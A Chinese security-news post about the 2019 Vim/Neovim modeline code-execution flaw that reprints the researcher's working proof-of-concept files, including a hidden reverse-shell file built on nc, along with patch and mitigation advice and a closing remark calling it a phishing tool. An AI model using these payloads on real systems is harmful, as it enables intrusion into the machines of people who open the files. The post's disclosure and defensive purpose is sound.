文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了
犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞。
Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。
可以看见,他在notepad(记事本)程序下启动了一个cmd.exe
由于Ormandy是一名专业漏洞挖掘人员,并且还吸引了Zerodium的创始人出面评论,证实了黑客发现的问题类型并不罕见,因此也证实了该漏洞存在性极高。
而就在昨日,推上再现一则猛料,名为Arminius的安全研究员发现Vim/Neovim的本地代码执行漏洞。。
作为linux的上古神器级的文本编辑器,就这样曝任意代码执行漏洞并且还被披露poc了!
附上了github链接。(阅读原文跳转)
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
公布POC
第一种:
1、创建poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、确保未禁用modeline选项(:set modeline)
3、在vim中打开该txt
vim poc.txt
然后系统会执行 uname -a
第二种,创建反弹shell
该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹shell。 为了隐藏攻击,文件将在打开时立即重写。
此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。
(而使用cat -v可以显示实际内容。)
shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
ps:我不是故意用记事本打开的。
视频演示
攻击者是右边,被攻击者是左边的机器
细节
命令行功能允许在文件的开头或结尾附近指定自定义编辑器选项。
默认情况下启用此功能并应用于所有文件类型,包括plain .txt。 一个典型的模式:
/* vim: set textwidth=80 tabstop=8: */
出于安全原因,在modelines中只允许选项的子集,如果选项值包含表达式,则它在沙箱中执行:
出于安全原因,不支持除“set”之外的其他命令(有人可能会使用modelines创建特洛伊木马文本文件。 并非所有选择可以设定。 对于某些选项,设置了一个标志,以便在使用时使用|沙盒| 是有效的。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582
沙箱旨在防止副作用:
'foldexpr','formatexpr','includeexpr','indentexpr','statusline'和'foldtext'选项可以在沙箱中评估。 这意味着你是保护免受这些具有令人讨厌的副作用的表达。 这给了一些从模式行设置这些选项时的安全性。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050
但是,:source!命令(使用bang [ !]修饰符)可用于绕过沙箱。它从给定文件中读取并执行命令,就像 手动键入,在沙箱离开后运行它们一样。
:so[urce]! {file}
从{file}读取Vim命令。 这些是命令从您正常模式执行,就像您输入他们一样。
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182
因此,可以简单地构建一个在沙箱外部运行代码的模式行:
# vim: set foldexpr=execute('\:source! some_file'):
Neovim还需要一个额外的步骤,即execute():
在这里,assert_fails()也可以使用,也需要{cmd}参数:
以下模式行使用fold表达式来运行source! %以执行当前文件,该文件又uname -a || "(garbage)"作为shell命令执行:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
此外,仅Neovim功能nvim_input()易受相同方法的影响,例如:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
(过去,其他与模式相关的漏洞已在Vim中修补 - 请参阅CVE-2002-1377,CVE-2016-1248。)
补丁(建议还是打一下)
Vim补丁8.1.1365
https://github.com/vim/vim/commit/5357552
Neovim补丁(在v0.3.6中发布)
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。
实际上,工具类的本地代码执行漏洞也不止上面几兄弟,像此前的linux的less工具同样存在代码执行漏洞
科普:less 工具是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。
试试吧,钓鱼利器,注意安全。
高度评估这个会用来大批量钓鱼,我赌1个亿。
感谢关注转发点赞
转载请注明来源,谢谢
<上期看点>
黑鸟威胁情报中心,只做最正确的情报,不传谣不信谣,欢迎扫码持续关注。
点击菜单栏,扫码加入每日更新的知识星球(原价299,现价269)
跳水台都准备好了,不点个赞再走吗
文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了相关推荐
- 基于qtc++设计文本编辑器的代码_文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了...
犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...
- Struts2被曝远程代码执行漏洞;叮咚买菜抢菜工具;find替代方案…|叨资讯
点击关注强哥,还有100多G的面试资料等你来拿 哈喽,大家好,我是强哥. Struts2被曝远程代码执行漏洞:Facebook开源文本编辑器库Lexical:PyCharm 2022.1 正式发布:一 ...
- Apache Log4j任意代码执行漏洞安全风险通告第三次更新
奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...
- HP officejet、PageWide打印机任意代码执行漏洞cve-2017-2741 Tenable发布漏洞检测插件...
打印机无处不在.在企业,在家里,在学校,但你在做网络安全评估的时候是否考虑过他们?你上一次更新打印机固件是什么时候?您是否知道您的打印机有公共漏洞?Tenable安全公司进行了研究,并发布了漏洞检测 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php ?only=1 &show ...
- thinkphp日志泄漏漏洞_ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2 ...
- Apple任意代码执行漏洞
报告编号:B6-2021-072701 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-27 0x01 漏洞简述 2021年07月27日,360CERT监测发现Apple ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- Nette框架未授权任意代码执行漏洞分析
Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...
最新文章
- SAP Hybris电子商务最新功能
- XState Viz 可视化和调试状态机
- Kubernetes学习总结(13)—— Kubernetes 各个组件的概念
- 机电传动控制 第一周作业
- UG NX 12 草图尺寸小数点怎么更改?
- 这是 qq整人代码 VB
- 【路径规划】基于matlab人工势场法机器人避障路径规划【含Matlab源码 620期】
- 全国哀悼日,CSS如何把整个网页黑白显示
- centos 7 使用certbot解决域名证书续签最佳实践
- 要和文心一言来一把你画我猜吗?
- R语言医学实例分析:代码解析
- win10升级补丁_微软官方给出无法安装WIN10更新的终极解决办法:覆盖安装
- Remix IDE的安装和使用
- 2018美国RSA大会专题 | 主题演讲嘉宾阵容大曝光
- 计算机教室网络连接简图,多媒体教室连接示意图.ppt
- 视频号6个涨粉方法,运营小技巧
- C++:string模拟实现(下)
- 四种方法处理“无法停止通用卷设备”
- HP笔记本怎么进入BIOS进行U盘装系统
- Python-《原神》荒海雷立方机关破解一
热门文章
- 《软件功能测试自动化实战教程》—第6章6.5节使用环境变量的参数化
- Java 数据交换格式反射机制SpringIOC原理分析
- 10个最好的获取免费书籍的网站
- 编程实战:C语言制作垃圾回收器
- virtualenv: error: argument dest: the destination . is not write-able at /User/de/ .virtualenvs解决方法
- 以太坊合并背景下的四种投资策略
- IEC61850笔记--开源代码libIEC61850(二)
- CKEditor插件的使用
- SpringCloud - Spring Cloud Netflix 之 Hystrix熔断器(七)
- 普元与达梦的多数据源配置